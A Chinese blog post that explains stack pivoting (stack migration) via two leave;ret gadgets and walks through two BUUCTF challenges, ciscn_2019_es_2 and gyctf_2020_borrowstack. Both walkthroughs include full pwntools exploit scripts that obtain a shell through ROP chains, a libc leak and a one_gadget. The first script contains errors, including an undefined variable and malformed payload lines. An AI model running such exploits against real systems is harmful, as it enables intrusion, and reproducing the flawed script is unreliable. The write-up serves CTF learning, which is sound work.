首页 > 其他分享 >栈迁移的简单学习总结

栈迁移的简单学习总结

时间:2024-01-14 19:57:06浏览次数:30  
标签:总结 addr puts ret 学习 ebp io 迁移 payload

一:栈迁移是什么

二:有什么作用:

作用一:顾名思义就是迁移栈,这样可以扩大我们溢出的空间,因为有时候溢出的空间只可以修改ebp或者ret

作用二:任意地址写,具体的可以看这位师傅:pwn技术分享-栈迁移1_哔哩哔哩_bilibili

三:原理是什么

原理网上有许多写的非常好的,这里我推荐:https://zikh26.github.io/posts/ee1dcd7f.html#BUUCTF%E4%B8%8A%E7%9A%84gyctf-2020-borrowstack ,主要搞明白ebpebp的内容是不同的以及函数的一些初始化修改的是什么东西leave指令和ret指令是什么就可以,

四:例题

[BUUCTF]ciscn_2019_es_2解析(迁移到栈上)

思路

首先使用 checksec 观察二进制文件 ciscn_2019_es_2 的保护属性,发现仅「NX 栈执行保护」是开启的。之后,将题目给出的二进制文件拖入IDA 32bit,容易发现在 vuln 函数中,直接使用 read 函数读取输入到栈上,如下图所示。

 

首先我们要明确本题是不能直接在bss段或者栈中写入shellcode来执行的,应该是设法调用system来,然后我们用shift+f12可以查找字符串,容易发现给了一个在hack()中调用了system函数,但是这个函数只是用来打印出“flag”这个字符串的,所以我们需要利用read函数“bin/sh”写到可写字段上 然后再通过控制程序返回这里才可以完成getshell。

再联系vul()函数中的read,可以发现,read可以读取0x30个字符串,但是s只有0x28个字符串,所以我们可以通过这个完成栈溢出,但是0x30-0x28=0x8,我们又知道构造一个最短的ROP链需要0x20的长度,所以这里溢出的长度明显不足,我们就要考虑将栈进行迁移以达到我们扩大溢出长度构造ROP链的目的。

寻找前期条件

我们都知道战迁移是通过利用两次leave_ret来实施栈迁移,具体原理我们不在这里多进行赘述,我们在先进行leave_ret的查找。

 system函数的具体位置的查找

 

 

step1

我们首先进入gdb调试,在main函数和vul函数中nop处下一个断点

 

 然后我们在输入时输入“aaaa”,观察栈中的布局来进行ebp的定位即可

 此时可以看到,esp即“aaaa”的位置是0xffffcff0,而ebp寄存器位于 0xffffd018,而该地址所存“内容”,即”栈上 ebp“ 为 0xffffd028,为上层main函数的old ebp,0xffffd028-0xffffcff0=0x38,这说明栈上的s的位置距离old_ebp的位置相聚0x38,意思是说,只要用printf泄露出old_ebp的位置,再减去0x38即可是我们想要迁移的位置。(ebp和ebp存储的内容不同)

step2

进行ROP链的构造第一个’aaaa‘随便输入,如果一开始将system函数写第一个,那么我们在用leave;ret劫持栈的时候要抬高4字节接着跟上system函数的地址,后面是执行完system函数后的返回地址,这边也可以随便写之后是一个地址,这个地址指向的是我们写在栈上的’/bin/sh‘字符串,最后将参数0x28长的s补齐

 


from pwn import *
io = remote('node4.buuoj.cn',27422)
systeam_addr=0x08048400
leave_ret_addr=0x080485FD
payload = b'a'*24+b'c'*4
io.recvuntil('name?\n')
io.send(payload)
io.recvuntil('cccc')
old_ebp_addr = u32(io.recv(4))                                                                             
#print(hex(addr))
payload = b'aaaa'
payload+ = p32(systeam_addr)
payload+ = b'dddd'
payload+ = p32(addr-0x38+0x10)+b"/bin/sh"
payload+ = payload.ljust(0x28,b'\x00')
payload+ = p32(old_ebp_addr-0x38)
payload+ = p32(leave_ret_addr)
io.send(payload)
io.interactive()

gyctf_2020_borrowstack(迁移到bss段)

 第一个read可以溢出,第二个read是往bss段上写入内容,通过第一个read溢出0x10字节,只能够覆盖到ret,所以利用栈迁移,让它跳转去bank处,往bank里写入我们的rop链获取shell

泄露libc版本后下载使用one-gadget来打,至于用哪一个,不嫌麻烦就调试一下就行,不然就一个个试一试。

当然因为bss段有离got表很近,所以我们迁移栈过来后会生成新的栈帧,可能会破坏低地址的东西,解决方法之一是抬高栈地址,当然我也是看了wp之后才知道的。。

 

from pwn import*

file_name = './borrowstack'
#io = process(file_name)
libc = ELF('./libc6_2.23-0ubuntu10_amd64.so')
io = remote('node5.buuoj.cn',26464)
elf = ELF(file_name)
context(arch='amd64',os='linux',log_level='debug')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x400703
leave_ret = 0x400699
bss_addr = 0x601080
ret_addr=0x4004c9
main_addr = 0x400626

payload = b'a'*0x60 + p64(bss_addr) + p64(leave_ret)
io.recvuntil('want\n')
io.send(payload)
payload=p64(ret_addr)*20
payload+=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)
payload+=p64(main_addr)
io.recvuntil('now!\n')
io.send(payload)
puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base=puts_addr-libc.symbols['puts']
print("put_addr :",hex(puts_addr))
one_gadget=libc_base+0x4526a

payload=b'a'*(0x60+8)+p64(one_gadget)
io.send(payload)

io.interactive()

(如有问题请联系我)

 

 

 

 

 

标签:总结,addr,puts,ret,学习,ebp,io,迁移,payload
From: https://www.cnblogs.com/ModesL/p/17962587

相关文章

  • C#/.NET学习值得推荐的在线论坛和技术社区
    思维导航前言DotNetGuide简介.NET官网.NET开发者社区.NETBlog官方博客.NET中文官方博客VisualStudioBlogStackOverflowCSDN.NET社区论坛博客园.NET技术专区51CTO技术社区.NET专栏.NET在线源码查询.NETAPI在线目录查询DotNetGuide技术社区交流群前言本......
  • 【动手学深度学习_李沐】笔记:(六)现代卷积神经⽹络
    【六、现代卷积神经⽹络】1.深度卷积神经⽹络(AlexNet)在2012年以前,神经⽹络往往被其他机器学习⽅法超越,如支持向量机(supportvectormachines)。而AlexNet在2012年ImageNet挑战赛中取得了轰动⼀时的成绩,在⽹络的最底层,模型学习到了⼀些类似于传统滤波器的特征抽取器。论......
  • 本周(2024.1.8-2024.1.14)C语言学习小结
    既然之前说了要尝试坚持写博客,那就试试吧。本周花在C语言上的时间不多,简要回顾一下。动态数组学习并实践了基本的动态数组知识,即calloc、malloc、relloc、free。以下是基本综合所学内容写的代码,实现动态数据添加。#include<stdio.h>#include<stdlib.h>intmain(){......
  • 【动手学深度学习_李沐】笔记:(五)卷积神经⽹络(convolutional neural network,CNN)
    【五、卷积神经网络】笔记1.从全连接层到卷积特点(沃尔多检测器):①平移不变性:不管出现在图像中的哪个位置,神经⽹络的底层应对相同图像区域做出类似的响应,因此能够以相同的⽅式处理局部图像②局部性:神经⽹络的底层只探索输⼊图像的局部区域,这些局部特征可以融会贯通,在整个......
  • 嵌入式软件开发人员有必要学习系统移植的知识吗?【ppt获取见文末】
    《从零开始学ARM》的配套视频说明为了让粉丝更好的学习我的新书里面的知识,一口君特地录制了配套学习视频,《从0学ARM第一期》《从0学ARM第一期》视频已经免费发布在B站,而书中除了ARM汇编、裸机开发等知识,还涉及到系统移植的一些知识点所以一口君干脆录制了一期《系统移植......
  • 搜索学习笔记+杂题 (基础二 dfs/bfs的拓展)
    搜索杂题:博客中讲述的题的题单:戳我二、dfs/bfs的各种变式1、深搜深搜以指数级的时间复杂度闻名,稍不注意时间就会爆炸,所以一般会用到剪枝的技巧(这个技巧基本上是因题而异,需要平时的刷题与积累)。深搜同样也是一种可变性极高的算法(其实都可以不叫做一种算法,深搜已经是一种做题的......
  • 【动手学深度学习_李沐】笔记:(四)深度学习计算
    【四、深度学习计算】笔记1.层和块速度极快的GPU可能要等到CPU运⾏Python代码后才能运⾏另⼀个作业,提⾼Python速度的最好⽅法是完全避免使⽤Python。Gluon允许混合式编程(hybridization),Python解释器在第⼀次调⽤块时执⾏它,Gluon运⾏时记录正在发⽣的事情,以及下⼀次......
  • 【动手学深度学习_李沐】笔记:(三)多层感知机
    【三、多层感知机】笔记1.多层感知机:合并隐藏层:通过合并⼀个或多个隐藏层来克服线性模型的限制多层感知机(multilayerperceptron):MLP,在输出层和输⼊层之间增加⼀个或多个全连接的隐藏层,并通过激活函数转换隐藏层的输出。最简单是将许多全连接层堆叠,每⼀层都输出到上⾯的层,......
  • C#/.NET学习值得推荐的在线论坛和技术社区
    前言本文来源于知乎的一个提问,C#/.NET程序员学习有哪些值得推荐的在线论坛和技术社区?其实很早之前DotNetGuide就已经新增了C#/.NET/.NETCore充电站栏目,当然大家有更好的.NET相关学习站点和资源欢迎PR投稿......
  • 学习进度笔记
    在本次安卓开发中,我已经完成了以下任务:创建项目:我使用AndroidStudio创建了一个新的安卓项目,并选择了最新的API级别。设计用户界面:我使用XML文件定义了应用程序的用户界面。我添加了几个布局和视图组件,如TextView、Button和ImageView,并使用约束布局对它们进行了适当的排列。......